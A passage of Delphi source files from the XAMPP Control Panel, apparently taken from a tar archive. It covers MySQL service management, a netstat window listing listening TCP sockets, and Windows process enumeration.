different port'), [cModuleName]), ltError); end; end; end; end; procedure tMySQL.ServiceInstall; var App, Param: string; RC: Integer; begin App := '"' + basedir + 'mysql\bin\' + Config.BinaryNames.MySQL + '"'; Param := '--install "' + Config.ServiceNames.MySQL + '" --defaults-file="' + basedir + 'mysql\bin\my.ini"'; AddLog(_('Installing service...')); AddLog(Format(_('Executing %s %s'), [App, Param]), ltDebug); RC := RunAsAdmin(App, Param, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; procedure tMySQL.ServiceUnInstall; var App, Param: string; RC: Cardinal; begin App := basedir + 'mysql\bin\' + Config.BinaryNames.MySQL; Param := '--remove "' + Config.ServiceNames.MySQL + '"'; AddLog('Uninstalling service...'); AddLog(Format(_('Executing %s %s'), [App, Param]), ltDebug); RC := RunAsAdmin(App, Param, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; procedure tMySQL.Start; var App: string; RC: Cardinal; begin GlobalStatus := 'starting'; CheckPorts; if isService and Config.EnableServices.MySQL then begin AddLog(Format(_('Attempting to start %s service...'), [cModuleName])); App := Format('start "%s"', [Config.ServiceNames.MySQL]); AddLog(Format(_('Executing "%s"'), ['net ' + App]), ltDebug); RC := RunAsAdmin('net', App, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else begin AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end else begin AddLog(Format(_('Attempting to start %s app...'), [cModuleName])); App := '"' + basedir + 'mysql\bin\' + Config.BinaryNames.MySQL + '" --defaults-file="' + basedir + 'mysql\bin\my.ini" --standalone'; AddLog(Format(_('Executing "%s"'), [App]), ltDebug); RC := RunProcess(App, SW_HIDE, False); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else begin AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end; end; procedure tMySQL.Stop; var i, pPID: Integer; App: string; RC: Cardinal; begin GlobalStatus := 'stopping'; if isService and Config.EnableServices.MySQL then begin AddLog(Format(_('Attempting to stop %s service...'), [cModuleName])); App := Format('stop "%s"', [Config.ServiceNames.MySQL]); AddLog(Format(_('Executing "%s"'), ['net ' + App]), ltDebug); RC := RunAsAdmin('net', App, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else begin AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end else begin if PIDList.Count > 0 then begin for i := 0 to PIDList.Count - 1 do begin pPID := Integer(PIDList[i]); AddLog(Format(_('Attempting to stop %s app...'), [cModuleName])); if not TerminateProcessByID(pPID) then begin AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end; end else begin AddLog(_('No PIDs found?!')); end; end; end; procedure tMySQL.UpdateStatus; var p: Integer; // ProcInfo: TProcInfo; s: string; ports: string; pname: string; ppath: string; currPID: Integer; ErrorStatus: Integer; begin isRunning := False; PIDList.Clear; ErrorStatus := 0; // for p := 0 to Processes.ProcessList.Count - 1 do // begin // ProcInfo := Processes.ProcessList[p]; // if (pos(Config.BinaryNames.MySQL, ProcInfo.Module) = 1) then // begin // if (pos(IntToStr(Config.ServicePorts.MySQL),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(BaseDir, ProcInfo.ExePath) <> 0) then // begin // isRunning := true; // PIDList.Add(Pointer(ProcInfo.PID)); // end; // end; // end; for p := 0 to Processes.ProcessList2.Count - 1 do begin pname := Processes.ProcessList2[p]; if (Pos(LowerCase(Config.BinaryNames.MySQL), LowerCase(pname)) = 1) then begin currPID := Integer(Processes.ProcessList2.Objects[p]); if (isService) then begin ppath := LowerCase(GetServiceWithPid(currPID)); if ((Pos(IntToStr(Config.ServicePorts.MySQL), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(basedir), ppath) <> 0)) or (Pos(LowerCase(basedir), ppath) <> 0) then begin isRunning := True; PIDList.Add(Pointer(currPID)); end; end else begin ppath := LowerCase(Processes.GetProcessPath(currPID)); if ((Pos(IntToStr(Config.ServicePorts.MySQL), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(basedir), ppath) <> 0)) or (Pos(LowerCase(basedir), ppath) <> 0) then begin isRunning := True; PIDList.Add(Pointer(currPID)); end; end; end; end; // Checking processes s := ''; for p := 0 to PIDList.Count - 1 do begin if p = 0 then s := IntToStr(Integer(PIDList[p])) else s := s + #13 + IntToStr(Integer(PIDList[p])); end; if s <> OldPIDs then begin lPID.Caption := s; OldPIDs := s; end; // Checking netstats s := ''; for p := 0 to PIDList.Count - 1 do begin ports := NetStatTable.GetPorts4PID(Integer(PIDList[p])); if ports <> '' then s := RemoveDuplicatePorts(ports); end; if s <> OldPorts then begin lPort.Caption := s; OldPorts := s; end; if byte(isRunning) <> oldIsRunningByte then begin if oldIsRunningByte <> 2 then begin if isRunning then s := _('running') else begin s := _('stopped'); if GlobalStatus = 'starting' then ErrorStatus := 1; end; AddLog(_('Status change detected:') + ' ' + s); if ErrorStatus = 1 then begin pStatus.Color := cErrorColor; AddLog(Format(_('Error: %s shutdown unexpectedly.'), [cModuleName]), ltError); AddLog(_('This may be due to a blocked port, missing dependencies, '), ltError); AddLog(_('improper privileges, a crash, or a shutdown by another method.'), ltError); AddLog(_('Press the Logs button to view error logs and check'), ltError); AddLog(_('the Windows Event Viewer for more clues'), ltError); AddLog(_('If you need more help, copy and post this'), ltError); AddLog(_('entire log window on the forums'), ltError); end; end; oldIsRunningByte := byte(isRunning); if isRunning then begin pStatus.Color := cRunningColor; bStartStop.Caption := _('Stop'); bAdmin.Enabled := True; fmain.MySQLTray.ImageIndex := 15; fmain.MySQLTrayControl.Caption := _('Stop'); end else begin pStatus.Color := cStoppedColor; bStartStop.Caption := _('Start'); bAdmin.Enabled := False; fmain.MySQLTray.ImageIndex := 16; fmain.MySQLTrayControl.Caption := _('Start'); end; end; if AutoStart then begin AutoStart := False; if isRunning then begin AddLog(Format(_('Autostart aborted: %s is already running'), [cModuleName]), ltInfo); end else begin AddLog(_('Autostart active: starting...')); Start; end; end; end; end. xampp-control-panel/uNetstat.dfm000066600000007043151723641500012757 0ustar00object fNetstat: TfNetstat Left = 394 Top = 196 BorderStyle = bsSizeToolWin Caption = 'Netstat - TCP Listening sockets' ClientHeight = 758 ClientWidth = 826 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] OldCreateOrder = False Position = poScreenCenter OnClose = FormClose OnCreate = FormCreate OnDestroy = FormDestroy OnShow = FormShow DesignSize = ( 826 758) PixelsPerInch = 120 TextHeight = 16 object lvSockets: TListView Left = 5 Top = 37 Width = 816 Height = 691 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akLeft, akTop, akRight, akBottom] Columns = < item Caption = 'Address' Width = 131 end item Alignment = taRightJustify Caption = 'Port' Width = 65 end item Alignment = taRightJustify Caption = 'PID' Width = 65 end item Caption = 'Name' Width = 200 end> DoubleBuffered = True Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] OwnerData = True ReadOnly = True RowSelect = True ParentDoubleBuffered = False ParentFont = False TabOrder = 0 ViewStyle = vsReport OnColumnClick = lvSocketsColumnClick OnCustomDrawItem = lvSocketsCustomDrawItem OnData = lvSocketsData end object bRefresh: TBitBtn Left = 718 Top = 5 Width = 98 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akTop, akRight] Caption = 'Refresh' ModalResult = 4 NumGlyphs = 2 TabOrder = 1 OnClick = bRefreshClick end object sbMain: TStatusBar Left = 0 Top = 739 Width = 826 Height = 19 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Panels = <> end object pnlActiveExample: TPanel Left = 5 Top = 5 Width = 105 Height = 24 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Active socket' Color = clWindow Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentBackground = False ParentFont = False TabOrder = 3 end object pnlOldExample: TPanel Left = 230 Top = 5 Width = 105 Height = 24 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Old socket' Color = clMaroon Font.Charset = DEFAULT_CHARSET Font.Color = clWhite Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentBackground = False ParentFont = False TabOrder = 4 end object pnlNewExample: TPanel Left = 118 Top = 5 Width = 104 Height = 24 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'New socket' Color = clLime Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [] ParentBackground = False ParentFont = False TabOrder = 5 end object TimerUpdate: TTimer Interval = 500 OnTimer = TimerUpdateTimer Left = 44 Top = 84 end end xampp-control-panel/uNetstat.pas000066600000017716151723641500013004 0ustar00unit uNetstat; interface uses GnuGettext, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, Buttons, uNetstatTable, uTools, ExtCtrls, uProcesses_new; type tNetState = (nsActive, nsOld, nsNew, nsUpdatingActive, nsUpdatingNew); tNetEntry = class AddrStr: string; AddrR: Cardinal; Port: integer; PID: integer; ProcName: string; State: tNetState; end; TfNetstat = class(TForm) lvSockets: TListView; bRefresh: TBitBtn; sbMain: TStatusBar; TimerUpdate: TTimer; pnlActiveExample: TPanel; pnlOldExample: TPanel; pnlNewExample: TPanel; procedure bRefreshClick(Sender: TObject); procedure lvSocketsColumnClick(Sender: TObject; Column: TListColumn); procedure FormCreate(Sender: TObject); procedure TimerUpdateTimer(Sender: TObject); procedure FormShow(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure lvSocketsData(Sender: TObject; Item: TListItem); procedure lvSocketsCustomDrawItem(Sender: TCustomListView; Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean); procedure cbShowCSRSSClick(Sender: TObject); procedure FormDestroy(Sender: TObject); private NetEntryList: tList; procedure ClearnetEntryList; function FindNetEntry(AddrR: Cardinal; Port, PID: integer; ProcName: string): tNetEntry; public procedure RefreshTable(ResetStates: Boolean); end; var fNetstat: TfNetstat; implementation uses uMain; const cModuleName = 'netstat'; var LastSortID: integer; {$R *.dfm} procedure TfNetstat.bRefreshClick(Sender: TObject); begin RefreshTable(true); end; procedure TfNetstat.cbShowCSRSSClick(Sender: TObject); begin RefreshTable(true); end; procedure TfNetstat.ClearnetEntryList; var i: integer; NE: tNetEntry; begin lvSockets.Items.Count := 0; for i := 0 to NetEntryList.Count - 1 do begin NE := NetEntryList[i]; NE.Free; end; NetEntryList.Clear; end; function TfNetstat.FindNetEntry(AddrR: Cardinal; Port, PID: integer; ProcName: string): tNetEntry; var i: integer; NE: tNetEntry; begin for i := 0 to NetEntryList.Count - 1 do begin NE := NetEntryList[i]; if (NE.AddrR = AddrR) and (NE.Port = Port) and (NE.PID = PID) and (NE.ProcName = ProcName) then begin result := NE; exit; end; end; result := nil; end; procedure TfNetstat.FormClose(Sender: TObject; var Action: TCloseAction); begin ClearnetEntryList; end; procedure TfNetstat.FormCreate(Sender: TObject); begin TranslateComponent(Self); NetEntryList := tList.Create; LastSortID := 0; end; procedure TfNetstat.FormDestroy(Sender: TObject); begin NetEntryList.Free; end; procedure TfNetstat.FormShow(Sender: TObject); begin TimerUpdate.Enabled := true; end; function smallnumber(i: Int64): integer; begin if i > 0 then result := 1 else if i < 0 then result := -1 else result := 0; end; function CustomSortProc(Item1, Item2: Pointer): integer; // stdcall; var NE1, NE2: tNetEntry; begin NE1 := Item1; NE2 := Item2; case LastSortID of 0: result := smallnumber(Int64(NE1.AddrR) - Int64(NE2.AddrR)) * 4 + smallnumber(NE1.Port - NE2.Port) * 2 + smallnumber(NE1.PID - NE2.PID) * 1; 1: result := smallnumber(Int64(NE1.AddrR) - Int64(NE2.AddrR)) * 2 + smallnumber(NE1.Port - NE2.Port) * 4 + smallnumber(NE1.PID - NE2.PID) * 1; 2: result := smallnumber(Int64(NE1.AddrR) - Int64(NE2.AddrR)) * 2 + smallnumber(NE1.Port - NE2.Port) * 1 + smallnumber(NE1.PID - NE2.PID) * 4; 3: result := smallnumber(CompareText(NE1.ProcName, NE2.ProcName)) * 8 + smallnumber(Int64(NE1.AddrR) - Int64(NE2.AddrR)) * 4 + smallnumber(NE1.Port - NE2.Port) * 2 + smallnumber(NE1.PID - NE2.PID) * 1; else result := 0; end; end; procedure TfNetstat.lvSocketsColumnClick(Sender: TObject; Column: TListColumn); begin LastSortID := Column.Index; NetEntryList.Sort(CustomSortProc); lvSockets.Refresh; end; procedure TfNetstat.lvSocketsCustomDrawItem(Sender: TCustomListView; Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean); var NE: tNetEntry; begin NE := NetEntryList[Item.Index]; case NE.State of nsActive: begin lvSockets.Canvas.Font.Color := clWindowText; lvSockets.Canvas.Brush.Color := clWindow; end; nsOld: begin lvSockets.Canvas.Font.Color := clWhite; lvSockets.Canvas.Brush.Color := clMaroon; end; nsNew: begin lvSockets.Canvas.Font.Color := clWindowText; lvSockets.Canvas.Brush.Color := clLime; end; nsUpdatingActive, nsUpdatingNew: begin lvSockets.Canvas.Font.Color := clGrayText; lvSockets.Canvas.Brush.Color := clBlue; end; end; end; procedure TfNetstat.lvSocketsData(Sender: TObject; Item: TListItem); var NE: tNetEntry; begin NE := NetEntryList[Item.Index]; Item.Caption := NE.AddrStr; Item.SubItems.Add(IntToStr(NE.Port)); Item.SubItems.Add(IntToStr(NE.PID)); Item.SubItems.Add(NE.ProcName); end; procedure TfNetstat.RefreshTable(ResetStates: Boolean); var i: integer; NE: tNetEntry; PID, Addr, AddrR, Port: Cardinal; PIDName: string; AddrStr: string; name: string; begin //NetStatTable.UpdateTable; if NetStatTable.updating = 1 then exit; lvSockets.Items.BeginUpdate; //fMain.updateTimerNetworking(False); NetStatTable.updating_table := 1; if ResetStates then ClearnetEntryList; for i := 0 to NetEntryList.Count - 1 do begin NE := NetEntryList[i]; if NE.State = nsActive then NE.State := nsUpdatingActive; if NE.State = nsNew then NE.State := nsUpdatingNew; end; for i := 0 to NetStatTable.pTcpTable.dwNumEntries - 1 do begin if NetStatTable.pTcpTable.table[i].dwOwningPid <> 0 then begin PID := NetStatTable.pTcpTable.table[i].dwOwningPid; Addr := NetStatTable.pTcpTable.table[i].dwLocalAddr; AddrR := ((Addr and $FF000000) shr 24) or ((Addr and $00FF0000) shr 08) or ((Addr and $0000FF00) shl 08) or ((Addr and $000000FF) shl 24); AddrStr := Cardinal2IP(Addr); Port := NetStatTable.pTcpTable.table[i].dwLocalPort; name := Processes.GetProcessName(PID); if name <> '' then begin PIDName := name; NE := FindNetEntry(AddrR, Port, PID, PIDName); if NE = nil then begin NE := tNetEntry.Create; NE.AddrStr := AddrStr; NE.AddrR := AddrR; NE.Port := Port; NE.PID := PID; NE.ProcName := PIDName; NE.State := nsNew; NetEntryList.Add(NE); lvSockets.Items.Count := lvSockets.Items.Count + 1; fMain.AddLog(cModuleName, Format(_('New listening socket: %s:%d'), [NE.AddrStr, NE.Port]), ltDebug); end else begin if NE.State = nsUpdatingActive then NE.State := nsActive; if NE.State = nsUpdatingNew then NE.State := nsNew; end; end; end; end; for i := 0 to NetEntryList.Count - 1 do begin NE := NetEntryList[i]; if ResetStates then NE.State := nsActive; if (NE.State = nsUpdatingActive) or (NE.State = nsUpdatingNew) then begin NE.State := nsOld; fMain.AddLog(cModuleName, Format(_('Listening socket closed: %s:%d'), [NE.AddrStr, NE.Port]), ltDebug); end; end; NetStatTable.updating_table := 0; //fMain.updateTimerNetworking(True); NetEntryList.Sort(CustomSortProc); lvSockets.Items.EndUpdate; lvSockets.Refresh; end; procedure TfNetstat.TimerUpdateTimer(Sender: TObject); begin if Visible then begin RefreshTable(false); end else begin TimerUpdate.Enabled := false; end; end; end. xampp-control-panel/uNetstatTable.pas000066600000017125151723641500013746 0ustar00unit uNetstatTable; interface uses GnuGettext, SysUtils, Classes, Windows, Dialogs, uProcesses_new, WinSock; const SIZE = 100000; MIB_TCP_STATE_LISTEN = 2; type TCP_TABLE_CLASS = integer; PMIB_TCPROW_OWNER_PID = ^MIB_TCPROW_OWNER_PID; MIB_TCPROW_OWNER_PID = packed record dwState: DWORD; dwLocalAddr: DWORD; dwLocalPort: DWORD; dwRemoteAddr: DWORD; dwRemotePort: DWORD; dwOwningPid: DWORD; end; PMIB_TCPTABLE_OWNER_PID = ^MIB_TCPTABLE_OWNER_PID; MIB_TCPTABLE_OWNER_PID = packed record dwNumEntries: DWORD; table: array [0 .. SIZE - 1] of MIB_TCPROW_OWNER_PID; //table: array [0 .. 99999] of MIB_TCPROW_OWNER_PID; end; tNetstatTable = class private hLibModule: THandle; DLLProcPointer: Pointer; procedure LoadExIpHelperProcedures; procedure UnLoadExIpHelperProcedures; public pTcpTable: PMIB_TCPTABLE_OWNER_PID; updating_table: integer; updating: integer; procedure UpdateTable; function GetPorts4PID(pid: integer): string; function GetPortCount4PID(pid: integer): integer; function isPortInUse(port: integer): string; function isPortInUsePID(port: integer): integer; constructor Create; destructor Destroy; override; end; var NetStatTable: tNetstatTable; implementation uses uTools, uMain; const TCP_TABLE_OWNER_PID_ALL = 5; var getting_data_1: integer; getting_data_2: integer; getting_data_3: integer; getting_data_4: integer; GetExtendedTcpTable:function(pTcpTable: Pointer; dwSize: PDWORD; bOrder: BOOL; lAf: ULONG; TableClass: TCP_TABLE_CLASS; Reserved: ULONG): DWORD; stdcall; { tNetStatTable } constructor tNetstatTable.Create; begin DLLProcPointer := nil; hLibModule := 0; pTcpTable := nil; updating := 0; updating_table := 0; getting_data_1 := 0; getting_data_2 := 0; getting_data_3 := 0; getting_data_4 := 0; try LoadExIpHelperProcedures; except fMain.AddLog('NetStatTable', 'Problem loading IP Library', ltError); raiseLastOSError(); end; end; destructor tNetstatTable.Destroy; begin try UnLoadExIpHelperProcedures; if (pTcpTable <> nil) then FreeMem(pTcpTable); except end; inherited; end; function tNetstatTable.GetPortCount4PID(pid: integer): integer; var i: integer; begin result := 0; if updating = 1 then exit; getting_data_1 := 1; //fMain.updateTimerNetworking(False); for i := 0 to NetStatTable.pTcpTable.dwNumEntries - 1 do if NetStatTable.pTcpTable.table[i].dwOwningPid = Cardinal(pid) then result := result + 1; getting_data_1 := 0; //fMain.updateTimerNetworking(True); end; function tNetstatTable.GetPorts4PID(pid: integer): string; var i: integer; port: string; begin result := ''; if updating = 1 then exit; getting_data_2 := 1; //fMain.updateTimerNetworking(False); for i := 0 to NetStatTable.pTcpTable.dwNumEntries - 1 do begin if NetStatTable.pTcpTable.table[i].dwOwningPid = Cardinal(pid) then begin port := IntToStr(NetStatTable.pTcpTable.table[i].dwLocalPort); if result = '' then result := port else result := result + ', ' + port; end; end; getting_data_2 := 0; //fMain.updateTimerNetworking(True); end; function tNetstatTable.isPortInUse(port: integer): string; var i: integer; path: string; pid: Cardinal; begin result := ''; if updating = 1 then exit; getting_data_3 := 1; //fMain.updateTimerNetworking(False); for i := 0 to NetStatTable.pTcpTable.dwNumEntries - 1 do begin if NetStatTable.pTcpTable.table[i].dwLocalPort = Cardinal(port) then begin pid := NetStatTable.pTcpTable.table[i].dwOwningPid; path := Processes.GetProcessName(pid); if path <> '' then result := path else result := _('unknown program'); getting_data_3 := 0; exit; end; end; getting_data_3 := 0; //fMain.updateTimerNetworking(True); end; function tNetstatTable.isPortInUsePID(port: integer): integer; var i: integer; begin result := -1; if updating = 1 then exit; getting_data_4 := 1; //fMain.updateTimerNetworking(False); for i := 0 to NetStatTable.pTcpTable.dwNumEntries - 1 do begin if NetStatTable.pTcpTable.table[i].dwLocalPort = Cardinal(port) then begin result := NetStatTable.pTcpTable.table[i].dwOwningPid; getting_data_4 := 0; exit; end; end; getting_data_4 := 0; //fMain.updateTimerNetworking(True); end; procedure tNetstatTable.LoadExIpHelperProcedures; begin hLibModule := LoadLibrary('iphlpapi.dll'); //if hLibModule = 0 then // exit; GetExtendedTcpTable := GetProcAddress(hLibModule, 'GetExtendedTcpTable'); //DLLProcPointer := GetProcAddress(hLibModule, 'GetExtendedTcpTable'); //if not Assigned(DLLProcPointer) then //begin // ShowMessage(IntToStr(GetLastError)); //end; end; procedure tNetstatTable.UnLoadExIpHelperProcedures; begin if hLibModule > HINSTANCE_ERROR then FreeLibrary(hLibModule); end; procedure tNetstatTable.UpdateTable; var dwSize: DWORD; Res: DWORD; //GetExtendedTcpTable: TGetExtendedTcpTable; i: integer; try_limit: integer; counter: integer; localPTcpTable: PMIB_TCPTABLE_OWNER_PID; auxPTcpTable: PMIB_TCPTABLE_OWNER_PID; begin if updating = 1 then exit; if ((getting_data_1 = 1) or (getting_data_2 = 1) or (getting_data_3 = 1) or (getting_data_4 = 1)) then exit; if updating_table = 1 then exit; updating := 1; //if (DLLProcPointer = nil) or (hLibModule < HINSTANCE_ERROR) then if (hLibModule < HINSTANCE_ERROR) then begin exit; end; //GetExtendedTcpTable := DLLProcPointer; try try_limit := 10; counter := 0; dwSize := 0; Res := GetExtendedTcpTable(localPTcpTable, @dwSize, False, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0); while ((Res = ERROR_INSUFFICIENT_BUFFER) and (counter < try_limit)) do begin GetMem(localPTcpTable, dwSize); // das API hat die "gewnschte" Grsse gesetzt Res := GetExtendedTcpTable(localPTcpTable, @dwSize, False, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0); inc(counter); end; if (Res = NO_ERROR) then begin for i := 0 to localPTcpTable.dwNumEntries - 1 do begin localPTcpTable.table[i].dwLocalPort := ((localPTcpTable.table[i].dwLocalPort and $FF00) shr 8) or ((localPTcpTable.table[i].dwLocalPort and $00FF) shl 8); localPTcpTable.table[i].dwRemotePort := ((localPTcpTable.table[i].dwRemotePort and $FF00) shr 8) or ((localPTcpTable.table[i].dwRemotePort and $00FF) shl 8); end; auxPTcpTable := pTcpTable; pTcpTable := localPTcpTable; if auxPTcpTable <> nil then begin FreeMem(auxPTcpTable); auxPTcpTable := nil; end; end else if (Res = ERROR_NO_DATA) then begin if pTcpTable <> nil then begin FreeMem(pTcpTable); pTcpTable := nil; end; exit; end else begin fMain.AddLog('NetStatTable', Format('NetStat TCP service stopped. Please restart the control panel. Returned %d',[Res]), ltError); if pTcpTable <> nil then begin FreeMem(pTcpTable); pTcpTable := nil; end; exit; //raiseLastOSError(); // Error-Handling end; finally // If (pTcpTable <> Nil) Then FreeMem(pTcpTable); end; updating := 0; end; initialization NetStatTable := tNetstatTable.Create; finalization NetStatTable.Free; end. xampp-control-panel/uProcesses.pas000066600000014377151723641500013330 0ustar00unit uProcesses; interface uses GnuGettext, TlHelp32, uTools, Classes, SysUtils, Windows, ExtCtrls, PsAPI; type TProcInfo = class PID: integer; Module, ExePath: String; CanDelete: boolean; end; tProcesses = class public ProcessList: tList; function GetProcInfo(PID: integer): TProcInfo; procedure Update; procedure UpdateProcesses; constructor Create; destructor Destroy; override; end; function GetProcessPath(PID: Cardinal): string; var Processes: tProcesses; implementation uses uMain; const cModuleName = 'procs'; { tProcessList } constructor tProcesses.Create; begin ProcessList := tList.Create; end; destructor tProcesses.Destroy; var ProcInfo: TProcInfo; p: integer; begin for p := 0 to ProcessList.Count - 1 do begin ProcInfo := ProcessList[p]; FreeAndNil(ProcInfo); end; FreeAndNil(ProcessList); inherited; end; function GetProcessPath(PID: Cardinal): string; var hProcess: THandle; begin hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,False,PID); if hProcess <> 0 then begin try SetLength(Result,MAX_PATH); FillChar(Result[1],Length(Result) * SizeOf(Char), 0); if GetModuleFileNameEx(hProcess,0,PChar(Result),Length(Result)) > 0 then Result := Trim(Result) else Result := 'Unable to get info'; finally CloseHandle(hProcess) end; end else Result := 'Unable to open process'; end; function tProcesses.GetProcInfo(PID: integer): TProcInfo; var ProcInfo: TProcInfo; p: integer; begin for p := 0 to ProcessList.Count - 1 do begin ProcInfo := ProcessList[p]; if ProcInfo.PID = PID then begin result := ProcInfo; exit; end; end; result := nil; end; procedure tProcesses.UpdateProcesses; var hSnapShot: THandle; pe32: TProcessEntry32; ProcInfo: TProcInfo; i: integer; begin for i := 0 to ProcessList.Count - 1 do begin ProcInfo := ProcessList[i]; ProcInfo.CanDelete := true; end; hSnapShot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if hSnapShot <> INVALID_HANDLE_VALUE then begin try pe32.dwSize := SizeOf(pe32); if Process32First(hSnapshot,pe32) then repeat ProcInfo := TProcInfo.Create; ProcInfo.Module := LowerCase(Trim(pe32.szExeFile)); //ProcInfo.ExePath := LowerCase(Trim(GetProcessPath(pe32.th32ProcessID))); ProcInfo.ExePath := LowerCase(Trim(pe32.szExeFile)); ProcInfo.PID := pe32.th32ProcessID; if Length(ProcInfo.ExePath) <> 0 then ProcInfo.CanDelete := false else ProcInfo.CanDelete := true; ProcessList.Add(ProcInfo); pe32.dwSize := SizeOf(pe32); until Process32Next(hSnapshot,pe32) = False; finally CloseHandle(hSnapShot); end; end; i := 0; while i < ProcessList.Count do begin ProcInfo := ProcessList[i]; if ProcInfo.CanDelete then begin fMain.AddLog(cModuleName, Format(_('Deleting PID-entry %d: %s'), [ProcInfo.PID, ProcInfo.ExePath]), ltDebugDetails); FreeAndNil(ProcInfo); ProcessList.Delete(i); end else begin inc(i); end; end; end; procedure tProcesses.Update; var hProcessSnap: tHandle; TProcessEntry: TProcessEntry32; ProcInfo: TProcInfo; hModuleSnap: tHandle; ModuleEntry: MODULEENTRY32; i: integer; PID: Cardinal; begin fMain.AddLog('processes', 'Checking processes...', ltDebugDetails); for i := 0 to ProcessList.Count - 1 do begin ProcInfo := ProcessList[i]; ProcInfo.CanDelete := true; end; hProcessSnap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap = INVALID_HANDLE_VALUE) then exit; TProcessEntry.dwSize := SizeOf(TProcessEntry); if (Process32First(hProcessSnap, TProcessEntry)) then begin repeat PID := TProcessEntry.th32ProcessID; ProcInfo := GetProcInfo(PID); if ProcInfo <> nil then begin ProcInfo.CanDelete := false end else begin // hModuleSnap := INVALID_HANDLE_VALUE; hModuleSnap := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, TProcessEntry.th32ProcessID); if (hModuleSnap <> INVALID_HANDLE_VALUE) then begin ModuleEntry.dwSize := SizeOf(MODULEENTRY32); if (Module32First(hModuleSnap, &ModuleEntry)) then begin ProcInfo := TProcInfo.Create; ProcInfo.Module := LowerCase(ModuleEntry.szModule); ProcInfo.ExePath := LowerCase(ModuleEntry.szExePath); //ProcInfo.ExePath := LowerCase(GetProcessPath(TProcessEntry.th32ProcessID)); ProcInfo.PID := TProcessEntry.th32ProcessID; ProcInfo.CanDelete := false; ProcessList.Add(ProcInfo); end else begin ProcInfo := nil; end; end else begin ProcInfo := TProcInfo.Create; ProcInfo.Module := LowerCase(TProcessEntry.szExeFile); ProcInfo.ExePath := LowerCase(TProcessEntry.szExeFile); //ProcInfo.ExePath := LowerCase(ModuleEntry.szExePath); //ProcInfo.ExePath := LowerCase(GetProcessPath(TProcessEntry.th32ProcessID)); ProcInfo.PID := TProcessEntry.th32ProcessID; ProcInfo.CanDelete := false; ProcessList.Add(ProcInfo); end; if ProcInfo <> nil then fMain.AddLog(cModuleName, Format(_('Creating PID-entry %d: %s'), [ProcInfo.PID, ProcInfo.ExePath]), ltDebugDetails); CloseHandle(hModuleSnap); end; until not(Process32Next(hProcessSnap, TProcessEntry)); end; CloseHandle(hProcessSnap); i := 0; while i < ProcessList.Count do begin ProcInfo := ProcessList[i]; if ProcInfo.CanDelete then begin fMain.AddLog(cModuleName, Format(_('Deleting PID-entry %d: %s'), [ProcInfo.PID, ProcInfo.ExePath]), ltDebugDetails); FreeAndNil(ProcInfo); ProcessList.Delete(i); end else begin inc(i); end; end; end; initialization Processes := tProcesses.Create; finalization Processes.Free; end. xampp-control-panel/uProcesses_new.pas000066600000004222151723641500014165 0ustar00unit uProcesses_new; interface uses GnuGettext, Classes, SysUtils, Windows, uTools, PsAPI, JCLSysInfo, Variants; type TQueryFullProcessImageName = function(hProcess: Thandle; dwFlags: DWORD; lpExeName: PChar; nSize: PDWORD): BOOL; stdcall; tProcesses = class public ProcessList2: TStrings; function GetProcessPath(PID: Cardinal): string; function GetProcessName(PID: Cardinal): string; procedure UpdateList; constructor Create; destructor Destroy; override; end; var Processes: tProcesses; implementation { tProcessList } constructor tProcesses.Create; begin ProcessList2 := TStringList.Create; end; destructor tProcesses.Destroy; begin ProcessList2.Clear; FreeAndNil(ProcessList2); inherited; end; function tProcesses.GetProcessName(PID: Cardinal): string; var name: string; index: integer; begin index := ProcessList2.IndexOfObject(Pointer(PID)); if (index >= 0) then begin name := ProcessList2[index]; result := name; end else result := ''; end; function tProcesses.GetProcessPath(PID: Cardinal): string; var hProcess: THandle; value: array [0 .. MAX_PATH - 1] of Char; nSize: cardinal; QueryFullProcessImageName: TQueryFullProcessImageName; begin hProcess := 